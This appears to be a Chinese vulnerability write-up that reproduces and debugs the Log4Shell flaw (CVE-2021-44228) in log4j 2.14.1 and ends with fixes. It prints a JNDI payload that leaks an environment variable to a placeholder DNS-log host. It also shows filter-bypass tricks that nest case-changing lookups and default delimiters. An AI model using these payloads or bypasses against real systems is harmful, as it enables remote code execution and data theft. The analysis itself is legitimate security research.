CVE-2021-44228漏洞复现
环境搭建
- java version "1.8.0_151"
- 创建maven项目添加相应的依赖
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
调试过程
打个断点往里跟
在org\apache\logging\log4j\core\lookup\Interpolator
的lookup
方法发现了我们的payload,之后底下的lookup完成恶意类的一个调用
我们在调用栈翻一翻,发现对${
的一个判断(if里面有个nolookup,可能可以作为修复方案?)
org\apache\logging\log4j\core\lookup\StrSubstitutor
里经过一系列操作去除${}
里的字符串,送进resolveVariable
解析
跟进发现有许多协议
之后就是根据协议生成对应的lookup
还有很多别的lookup,比如java的可以看版本等信息,env的可以看一些环境变量,可以拼接上dnslog的地址带出来,还有就是转换大小写的lower、upper可以作为一个绕过
${jndi:ldap://${env:os}.xxxdnslog}
再看org\apache\logging\log4j\core\lookup\StrSubstitutor
的一大段字符串处理的代码。
先不考虑valueDelimiterMatcher
,就是将嵌套在里面的${}
解析并用返回值替换:
${${lower:ABC}} -> ${abc}
再看看分隔符的作用,我们输入${a:::-b}
,他把:-
前面的给到解析器resolveVariable
,因为没有对应协议就用:-
后面的替代整个表达式
bypass
根据之前的分析,可以嵌套上转变大小写,分隔符
修复建议
-
更新log4j版本
-
开启
log4j2.formatMsgNoLookups